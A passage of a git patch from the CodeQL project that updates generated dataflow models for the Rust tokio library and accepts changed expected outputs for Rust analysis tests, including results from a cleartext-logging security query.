"value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_front", "Argument[self].Field[crate::util::linked_list::LinkedList::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -640,16 +614,13 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[1].Field[crate::result::Result::Ok(0)]", "Argument[3].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[0]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[1]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::output]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::buf].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end_internal", "Argument[2].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::output]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[0]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[1]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::delimiter]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[2]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::buf]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::repeat::repeat", "Argument[0]", "ReturnValue.Field[crate::io::util::repeat::Repeat::byte]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::shutdown::shutdown", "Argument[0]", "ReturnValue.Field[crate::io::util::shutdown::Shutdown::a]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::split::split", "Argument[0]", "ReturnValue.Field[crate::io::util::split::Split::reader]", "value", "dfc-generated"] @@ -673,13 +644,9 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split::split", "Argument[0]", "ReturnValue.Field[1].Field[crate::net::unix::split::WriteHalf(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::budget", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::current::with_current", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime::enter_runtime", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::with_scheduler", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::metrics::batch::duration_as_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::multi_thread::worker::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -698,7 +665,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[2]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::memchr::memchr", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::blocking_task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::typeid::try_transmute", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -715,19 +681,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::put_slice", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::shutdown", "Argument[0]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::transition_to_terminal", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[self]", "log-injection", "df-generated"] @@ -738,7 +691,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] From 6162cf5dbbdeba18f8637543bc95684b0d7c3ce7 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 10:52:59 +0200 Subject: [PATCH 177/271] Rust: accept test changes --- .../dataflow/modeled/inline-flow.expected | 38 ++-- .../dataflow/sources/TaintSources.expected | 3 + .../CWE-312/CleartextLogging.expected | 214 ++++++++++-------- .../UncontrolledAllocationSize.expected | 209 +++++++++-------- .../CWE-825/AccessInvalidPointer.expected | 9 + 5 files changed, 262 insertions(+), 211 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index b1103e843b2..023507aaafc 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -2,36 +2,34 @@ models | 1 | Summary: lang:alloc; ::into_pin; Argument[0]; ReturnValue; value | | 2 | Summary: lang:alloc; ::new; Argument[0]; ReturnValue.Reference; value | | 3 | Summary: lang:alloc; ::pin; Argument[0]; ReturnValue.Reference; value | -| 4 | Summary: lang:core; ::clone; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | -| 5 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 6 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | -| 7 | Summary: lang:core; ::into_inner; Argument[0]; ReturnValue; value | -| 8 | Summary: lang:core; ::new; Argument[0]; ReturnValue; value | -| 9 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 10 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | -| 11 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | -| 12 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | +| 4 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 5 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | +| 6 | Summary: lang:core; ::into_inner; Argument[0]; ReturnValue; value | +| 7 | Summary: lang:core; ::new; Argument[0]; ReturnValue; value | +| 8 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 9 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | +| 10 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | +| 11 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | edges -| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:5 | +| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:4 | | main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:13 | a [Some] | provenance | | -| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:4 | | main.rs:12:13:12:28 | Some(...) [Some] | main.rs:12:9:12:9 | a [Some] | provenance | | | main.rs:12:18:12:27 | source(...) | main.rs:12:13:12:28 | Some(...) [Some] | provenance | | -| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:5 | +| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:4 | | main.rs:14:13:14:13 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | generated | | main.rs:14:13:14:21 | a.clone() [Some] | main.rs:14:9:14:9 | b [Some] | provenance | | -| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:9 | +| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:8 | | main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:13 | a [Ok] | provenance | | | main.rs:19:31:19:44 | Ok(...) [Ok] | main.rs:19:9:19:9 | a [Ok] | provenance | | | main.rs:19:34:19:43 | source(...) | main.rs:19:31:19:44 | Ok(...) [Ok] | provenance | | -| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:9 | +| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:8 | | main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | generated | | main.rs:21:13:21:21 | a.clone() [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance | | | main.rs:26:9:26:9 | a | main.rs:28:13:28:13 | a | provenance | | | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance | | | main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance | | -| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:10 | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:9 | | main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | | main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | | main.rs:43:18:43:22 | SelfParam [Wrapper] | main.rs:44:26:44:29 | self [Wrapper] | provenance | | @@ -58,14 +56,14 @@ edges | main.rs:66:22:66:31 | source(...) | main.rs:66:17:66:32 | Some(...) [Some] | provenance | | | main.rs:67:13:67:13 | z [Some, tuple.1] | main.rs:68:15:68:15 | z [Some, tuple.1] | provenance | | | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | main.rs:67:13:67:13 | z [Some, tuple.1] | provenance | | -| main.rs:67:23:67:23 | b [Some] | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:6 | +| main.rs:67:23:67:23 | b [Some] | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:5 | | main.rs:68:15:68:15 | z [Some, tuple.1] | main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | provenance | | | main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | main.rs:69:18:69:23 | TuplePat [tuple.1] | provenance | | | main.rs:69:18:69:23 | TuplePat [tuple.1] | main.rs:69:22:69:22 | m | provenance | | | main.rs:69:22:69:22 | m | main.rs:71:22:71:22 | m | provenance | | | main.rs:92:29:92:29 | [post] y [&ref] | main.rs:93:33:93:33 | y [&ref] | provenance | | -| main.rs:92:32:92:41 | source(...) | main.rs:92:29:92:29 | [post] y [&ref] | provenance | MaD:12 | -| main.rs:93:33:93:33 | y [&ref] | main.rs:93:18:93:34 | ...::read(...) | provenance | MaD:11 | +| main.rs:92:32:92:41 | source(...) | main.rs:92:29:92:29 | [post] y [&ref] | provenance | MaD:11 | +| main.rs:93:33:93:33 | y [&ref] | main.rs:93:18:93:34 | ...::read(...) | provenance | MaD:10 | | main.rs:108:13:108:17 | mut i | main.rs:109:34:109:34 | i | provenance | | | main.rs:108:13:108:17 | mut i | main.rs:110:33:110:33 | i | provenance | | | main.rs:108:13:108:17 | mut i | main.rs:111:47:111:47 | i | provenance | | @@ -74,7 +72,7 @@ edges | main.rs:109:13:109:20 | mut pin1 [&ref] | main.rs:114:15:114:18 | pin1 [&ref] | provenance | | | main.rs:109:13:109:20 | mut pin1 [&ref] | main.rs:115:31:115:34 | pin1 [&ref] | provenance | | | main.rs:109:24:109:35 | ...::new(...) [&ref] | main.rs:109:13:109:20 | mut pin1 [&ref] | provenance | | -| main.rs:109:33:109:34 | &i [&ref] | main.rs:109:24:109:35 | ...::new(...) [&ref] | provenance | MaD:8 | +| main.rs:109:33:109:34 | &i [&ref] | main.rs:109:24:109:35 | ...::new(...) [&ref] | provenance | MaD:7 | | main.rs:109:34:109:34 | i | main.rs:109:33:109:34 | &i [&ref] | provenance | | | main.rs:110:13:110:20 | mut pin2 [&ref] | main.rs:116:15:116:18 | pin2 [&ref] | provenance | | | main.rs:110:24:110:34 | ...::pin(...) [&ref] | main.rs:110:13:110:20 | mut pin2 [&ref] | provenance | | @@ -85,7 +83,7 @@ edges | main.rs:111:47:111:47 | i | main.rs:111:38:111:48 | ...::new(...) [&ref] | provenance | MaD:2 | | main.rs:114:15:114:18 | pin1 [&ref] | main.rs:114:14:114:18 | * ... | provenance | | | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | main.rs:115:14:115:35 | * ... | provenance | | -| main.rs:115:31:115:34 | pin1 [&ref] | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | provenance | MaD:7 | +| main.rs:115:31:115:34 | pin1 [&ref] | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | provenance | MaD:6 | | main.rs:116:15:116:18 | pin2 [&ref] | main.rs:116:14:116:18 | * ... | provenance | | | main.rs:117:15:117:18 | pin3 [&ref] | main.rs:117:14:117:18 | * ... | provenance | | | main.rs:122:13:122:18 | mut ms [MyStruct] | main.rs:127:14:127:15 | ms [MyStruct] | provenance | | diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index da3b69eb050..460a075199d 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -50,7 +50,10 @@ | test.rs:384:58:384:73 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:392:48:392:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:423:22:423:25 | path | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:424:27:424:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 594834bca1f..2bdb39409bd 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -48,224 +48,235 @@ | test_logging.rs:201:16:201:63 | ...::assert_failed | test_logging.rs:201:55:201:62 | password | test_logging.rs:201:16:201:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:201:55:201:62 | password | password | | test_logging.rs:202:17:202:64 | ...::assert_failed | test_logging.rs:202:56:202:63 | password | test_logging.rs:202:17:202:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:202:56:202:63 | password | password | | test_logging.rs:203:27:203:32 | expect | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:27:203:32 | expect | This operation writes $@ to a log file. | test_logging.rs:203:58:203:65 | password | password | +| test_logging.rs:203:27:203:32 | expect | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:27:203:32 | expect | This operation writes $@ to a log file. | test_logging.rs:203:58:203:65 | password | password | | test_logging.rs:209:30:209:34 | write | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:30:209:34 | write | This operation writes $@ to a log file. | test_logging.rs:209:62:209:69 | password | password | | test_logging.rs:210:30:210:38 | write_all | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:30:210:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:210:66:210:73 | password | password | | test_logging.rs:213:9:213:13 | write | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:9:213:13 | write | This operation writes $@ to a log file. | test_logging.rs:213:41:213:48 | password | password | | test_logging.rs:216:9:216:13 | write | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:9:216:13 | write | This operation writes $@ to a log file. | test_logging.rs:216:41:216:48 | password | password | edges -| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:44:28:44:35 | password | test_logging.rs:44:12:44:35 | MacroExpr | provenance | | -| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:45:27:45:34 | password | test_logging.rs:45:11:45:34 | MacroExpr | provenance | | -| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:46:28:46:35 | password | test_logging.rs:46:12:46:35 | MacroExpr | provenance | | -| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:47:27:47:34 | password | test_logging.rs:47:11:47:34 | MacroExpr | provenance | | -| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:48:40:48:47 | password | test_logging.rs:48:24:48:47 | MacroExpr | provenance | | -| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:53:28:53:35 | password | test_logging.rs:53:12:53:35 | MacroExpr | provenance | | -| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:55:41:55:48 | password | test_logging.rs:55:12:55:48 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:57:39:57:46 | password | test_logging.rs:57:12:57:46 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:33 | MacroExpr | provenance | | -| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:59:24:59:31 | password | test_logging.rs:59:12:59:35 | MacroExpr | provenance | | -| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:61:46:61:53 | password | test_logging.rs:61:30:61:53 | MacroExpr | provenance | | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | | test_logging.rs:62:20:62:28 | &password | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:62:20:62:28 | &password [&ref] | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password | provenance | Config | | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password [&ref] | provenance | | -| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:66:40:66:47 | password | test_logging.rs:66:24:66:47 | MacroExpr | provenance | | -| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:68:58:68:65 | password | test_logging.rs:68:42:68:65 | MacroExpr | provenance | | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | 